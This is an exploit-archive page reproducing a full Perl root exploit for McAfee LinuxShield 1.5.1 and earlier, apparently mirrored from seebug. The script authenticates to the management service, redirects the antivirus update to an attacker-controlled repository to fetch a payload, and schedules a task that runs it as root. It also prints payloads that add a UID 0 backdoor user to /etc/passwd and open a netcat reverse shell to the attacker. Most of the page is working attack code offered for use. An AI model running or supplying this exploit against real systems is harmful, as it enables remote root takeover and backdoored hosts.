Lucene search
K

McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution

🗓️ 01 Sep 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

McAfee LinuxShield <= 1.5.1 Local/Remote Root Code Execution exploit for ethical penetration testin

Code

                                                #!/usr/bin/perl
 
##
#  Title:     McAfee LinuxShield &lt;= 1.5.1 Local/Remote Root Exploit
#  Name:      nailsRoot.pl
#  Author:    Nikolas Sotiriu (lofi) &lt;lofi[at]sotiriu.de&gt;
#  WARNING:   This Exploit deletes the default Update Server
#
#  Use it only for education or ethical pentesting! The author accepts
#  no liability for damage caused by this tool.
# 
##
 
use strict;
use IO::Socket::SSL;
use Getopt::Std;
 
my %args;
my $ack;
my $timestamp;
 
getopt('h:p:u:v:e:a:g:', \%args);
 
my $gen_exec    = $args{g};
 
if (defined $gen_exec) {
    genEx($gen_exec);
}
 
my $target_host = $args{h} || usage();
my $target_port = $args{p} || 65443;
my $nails_user  = $args{u} || usage();
my $nails_pass  = $args{v} || &quot;&quot;;
my $exec_path   = $args{e} || &quot;/opt/McAfee/cma/scratch/update/catalog.z&quot;;
my $my_host     = $args{a} || &quot;&quot;;
 
my $range = 50000000;
my $minimum = 90000000;
 
my $randomtask = int(rand($range)) + $minimum;
 
my $pre=&quot;sconf ODS_99 &quot;;
my $post=&quot;\x0d\x0a&quot;;
 
my $setrepo1='db set 1 _table=repository status=1 siteList=&lt;?xml\ version=&quot;1.0&quot;\ encoding=&quot;UTF-8&quot;?&gt;&lt;ns:SiteLis'.
             'ts\ xmlns:ns=&quot;naSiteList&quot;\ GlobalVersion=&quot;20030131003110&quot;\ LocalVersion=&quot;20091209161903&quot;\ Type=&quot;Clie'.
             'nt&quot;&gt;&lt;SiteList\ Default=&quot;1&quot;\ Name=&quot;SomeGUID&quot;&gt;&lt;HttpSite\ Type=&quot;repository&quot;\ Name=&quot;EvilRepo&quot;\ Order=&quot;1&quot;'.
             '\ Server=&quot;';
 
my $setrepo2=':80&quot;\ Enabled=&quot;1&quot;\ Local=&quot;1&quot;&gt;&lt;RelativePath&gt;nai&lt;/RelativePath&gt;&lt;UseAuth&gt;0&lt;/UseAut'.
             'h&gt;&lt;UserName&gt;&lt;/UserName&gt;&lt;Password\ Encrypted=&quot;0&quot;/&gt;&lt;/HttpSite&gt;&lt;/SiteList&gt;&lt;/ns:SiteLists&gt; _cmd=update';
 
my $setsite=&quot;task setsitelist&quot;;
 
my $begin=&quot;begin&quot;;
 
my$set=&quot;set &quot;;
my $profile=&quot; nailsd.profile.ODS_99.allFiles=true nailsd.profile.ODS_99.childInitTmo=60&quot;.
       &quot; nailsd.profile.ODS_99.cleanChildren=2 nailsd.profile.ODS_99.cleansPerChild=10000 nailsd.profile.ODS&quot;.
       &quot;_5.datPath=/opt/NAI/LinuxShield/engine/dat nailsd.profile.ODS_99.decompArchive=true nailsd.profile.&quot;.
       &quot;ODS_99.decompExe=true nailsd.profile.ODS_99.engineLibDir=/opt/NAI/LinuxShield/engine/lib nailsd.prof&quot;.
       &quot;ile.ODS_99.enginePath=/opt/NAI/LinuxShield/engine/lib/liblnxfv.so&quot;.
       &quot; nailsd.profile.ODS_99.factoryInitT&quot;.
       &quot;mo=60 nailsd.profile.ODS_99.heuristicAnalysis=true nailsd.profile.ODS_99.macroAnalysis=true nailsd.p&quot;.
       &quot;rofile.ODS_99.maxQueSize=32 nailsd.profile.ODS_99.mime=true nailsd.profile.ODS_99.noJokes=false nails&quot;.
       &quot;d.profile.ODS_99.program=true nailsd.profile.ODS_99.quarantineChildren=1 nailsd.profile.ODS_99.quaran&quot;.
       &quot;tineDirectory=/quarantine nailsd.profile.ODS_99.quarantinesPerChild=10000 nailsd.profile.ODS_99.scan&quot;.
       &quot;Children=2 nailsd.profile.ODS_99.scanMaxTmo=301 nailsd.profile.ODS_99.scanNWFiles=true nailsd.profil&quot;.
       &quot;e.ODS_99.scanOnRead=true nailsd.profile.ODS_99.scanOnWrite=true nailsd.profile.ODS_99.scannerPath=&quot;.
       &quot;$exec_path&quot;.
       &quot; nailsd.profile.ODS_99.scansPerChild=10000 nailsd.profile.ODS_99.sl&quot;.
       &quot;owScanChildren=0 nailsd.profile.ODS_99.filter.0.type=exclude-path nailsd.profile.ODS_99.filter.0.pat&quot;.
       &quot;h=/proc nailsd.profile.ODS_99.filter.0.subdir=true nailsd.profile.ODS_99.filter.extensions.mode=all &quot;.
       &quot;nailsd.profile.ODS_99.filter.extensions.type=extension nailsd.profile.ODS_99.action.Default.primary=&quot;.
       &quot;Clean nailsd.profile.ODS_99.action.Default.secondary=Quarantine nailsd.profile.ODS_99.action.App.pri&quot;.
       &quot;mary=Clean nailsd.profile.ODS_99.action.App.secondary=Quarantine nailsd.profile.ODS_99.action.timeou&quot;.
       &quot;t=Pass nailsd.profile.ODS_99.action.error=Block&quot;;
 
my $commit=&quot;commit &quot;;
 
my $setdb=&quot; _table=schedule taskName=$randomtask taskType=On-Demand taskInfo=profileName=ODS_99,&quot;.
        &quot;paths=path:/root/tmp;exclude:false timetable=type=unscheduled taskResults=0 i_lastRun=1260318482 status=Stopped _cmd=insert&quot;;
    #update _where= i_taskId=2&quot;;
 
my $execupd=&quot;task nstart LinuxShield Update&quot;;
my $execute=&quot;task nstart $randomtask&quot;;
 
banner();
 
if ($exec_path eq &quot;/opt/McAfee/cma/scratch/update/catalog.z&quot;) {
    if ($my_host eq &quot;&quot;) {
        usage();
    }
    stOne();
}else{
    stTwo();
}
 
sub stOne {
    my $reposock = IO::Socket::SSL-&gt;new(
                        PeerAddr =&gt; $target_host,
                        PeerPort =&gt; $target_port,
                        Proto    =&gt; 'tcp',
        );
 
    if (defined $reposock) {
        print &quot;[*] Executing Stage One\n&quot;;
        print &quot;-----------------------\n&quot;;     
 
                $ack=&lt;$reposock&gt;;
                print $ack;
 
                print $reposock &quot;auth &quot;.$nails_user.&quot; &quot;.$nails_pass.$post;
                $ack=&lt;$reposock&gt;;
                if ($ack=~m/ERR authentication failure/){
                        print &quot;[-] Authentication failed...\n&quot;;
                        exit(1);
                }
                print $ack;
                sleep(1);
 
                print &quot;[+] Repo update: inject evil repo\n&quot;;
                print $reposock $setrepo1.$my_host.$setrepo2.$post;
                sleep(1);
 
                print &quot;[+] Repo Site update: update site task\n&quot;;
                print $reposock $setsite.$post;
                $ack=&lt;$reposock&gt;;
                print $ack;
                sleep(1);
 
                print &quot;[+] Execute AV Update: downloading evil code\n&quot;;
                print $reposock $execupd.$post;
                sleep(5);  # Update needs a bit time
        $reposock-&gt;shutdown(1);
         
    }
    stTwo();
}
 
sub stTwo {
        my $sock = IO::Socket::SSL-&gt;new(
                        PeerAddr =&gt; $target_host,
                        PeerPort =&gt; $target_port,
                        Proto    =&gt; 'tcp',
        );
 
    if (defined $sock) {
                print &quot;\n\n[*] Executing Stage TWO\n&quot;;
                print &quot;-----------------------\n&quot;;
 
        $ack=&lt;$sock&gt;;
        print $ack;
         
        print $sock &quot;auth &quot;.$nails_user.&quot; &quot;.$nails_pass.$post;
        $ack=&lt;$sock&gt;;
        if ($ack=~m/ERR authentication failure/){
            print &quot;[-] Authentication failed...\n&quot;;
            exit(1);
        }
        print $ack;
        sleep(1);
 
        print $sock $pre.$begin.$post;
        $ack=&lt;$sock&gt;;
        print $ack;
            $ack=~s/\+OK //g;
            $timestamp=$ack;
            $timestamp=~ s/\s+$//;
            print &quot;[+] Timestamp: $timestamp\n&quot;;
        print &quot;[+] Profile: Injecting evil Profile\n&quot;;
        print $sock $pre.$set.$timestamp.$profile.$post;
        sleep(1);
 
        print &quot;[+] Commit: Profile changes\n&quot;;
        print $sock $pre.$commit.$timestamp.$post;
        sleep(1);
 
        print &quot;[+] Schedule: Injecting evil task $randomtask\n&quot;;
        print $sock &quot;db set &quot;.$timestamp.$setdb.$post;
        sleep(1);
 
        print &quot;[+] Excute: Task $randomtask\n&quot;;
        print $sock $execute.$post;
        $sock-&gt;shutdown(1);
        print &quot;[+] Done... Check whatever you did\n&quot;;
    } else {
            print &quot;[-] some troubles with connection: $!\n&quot; ;
    }
}
 
sub usage {
 
    print &quot;\n&quot;;
    print &quot; nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit\n&quot;;
    print &quot;===============================================================\n\n&quot;;
    print &quot;  Usage:\n&quot;;
    print &quot;           $0 -h &lt;target ip&gt; -u &lt;user&gt; -v &lt;pass&gt; [-a &lt;my host&gt;|-e &lt;executable&gt;]\n&quot;;
    print &quot;  Optional:\n&quot;;
    print &quot;           -a       &lt;attacker host with httpd&gt;\n&quot;;
    print &quot;           -e       &lt;executable file on target host&gt;\n&quot;;
    print &quot;           -p       &lt;target port (default: 65443)&gt;\n&quot;;
    print &quot;           -g (1|2) &lt;generat shell scripts to execute&gt;\n&quot;;
    print &quot;                    1 &lt;UID 0 user add&gt;\n&quot;;
    print &quot;                    2 &lt;reverse nc shell&gt;\n&quot;;
    print &quot;  Notes:\n&quot;;
    print &quot;           -We can not handle arguments given to executable\n&quot;;
    print &quot;            in the -e option.\n&quot;;
    print &quot;           -To download your own evil executable, start a httpd\n&quot;;
    print &quot;            and set the -a option. Create the directory &lt;nai&gt; in\n&quot;;
    print &quot;            your wwwroot and rename your executable to &lt;catalog.z&gt;\n&quot;;
    print &quot;  Author:\n&quot;;
    print &quot;           Nikolas Sotiriu (lofi)\n&quot;;
    print &quot;           url: www.sotiriu.de\n&quot;;
    print &quot;           mail: lofi[at]sotiriu.de\n&quot;;
    print &quot;\n&quot;;
 
 
    exit(1);
}
 
sub genEx {
    my ($code)=@_;
     
    if ($code==1) {
        print STDERR &lt;&lt; &quot;EOF&quot;;
 
============== UID 0 user add ==============
 
Copy this lines to the catalog.z file.
 
USER=haxxor PASS=haxxorPass
 
-------------- cut --------------
#!/bin/sh
echo haxxor:AzFQk89Xgpp8s:0:0::/:/bin/sh &gt;&gt; /etc/passwd
-------------- /cut --------------
 
EOF
     
    } elsif ($code==2) {
        print STDERR &lt;&lt; &quot;EOF&quot;;
 
============== reverse nc shell ==============
 
Copy this lines to the catalog.z file.
 
-------------- cut --------------
#!/bin/sh
nc -nv &lt;yourip&gt; 4444 -e /bin/sh
-------------- /cut --------------
 
EOF
 
    }
 
    exit(1);
 
}
 
sub banner {
    print STDERR &lt;&lt; &quot;EOF&quot;;
--------------------------------------------------------------------------------
         nailsRoot.pl - McAfee LinuxShield local/remote Root Exploit
--------------------------------------------------------------------------------
                                                                                 
                                   111 1111111                                 
                            11100 101 00110111001111                           
                        11101 11 10 111 101 1001111111                         
                    1101  11 00 10 11  11 111 1111111101                       
                 10111 1 10 11 10  0 10  1 1 1  1111111011                     
              1111  1 1 10  0  01 01 01 1 1 111     1111011101                 
            1000   0 11 10 10  0 10 11 111 11111 11 1111 111100                
          1111111111 01 10 10 11 01 0  11 11111111111 1 1111  11               
         10111110 0  01 00 11 1110 11 10 11111111111 11 11111  11   111        
        101111111 0 10  01 11 1 11 0 10 11 1111111111111111 1111110000111      
        011111 0110 10 10  0 11 1 11 01 01 111111111111111 1 11110011001       
       1011111 0110 10 11 1110 11 1 10 11111111111111111111  1 100  001        
       1011111 0 10 10 01 1  0 1 11 1 111111111111111111111111 001101          
        011111 0  0  0 11 0 1111 0 11 01111111111111111111111111  01           
       1111111 01 01 111  1 1111 1 11 1111111111111111111111 1101 1111         
      111 1111 10  0 111110 0111 0 1  0111111111111111111111 11111 1111        
     111 11111  1  11 1 1 1    111 11 11111111111111111111111110    1001       
    111 1011111   1 11111111110111111111111111111111111111111 01 10111001      
   11 1100    10110110    10001        11101111111111111111  10 111 11100      
  111  00      1011101      00101       0  11111111111111111001 11  111101     
  11  00        00 101      1000011     1011   1111   1111111000 1111111 0     
  11 00          0   1011      100001    101000 1 1001         00001111  01    
  01101          11111 1011               01100    0101          110  11 10    
  10111                   1                0  01    0000011         10    10   
   10011                                    11100       1111         101   11  
      1110 01                                 101011                   1001100 
         1111000011                            1  111                          
                11000001111                                                    
                           1                                                   
 
EOF
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation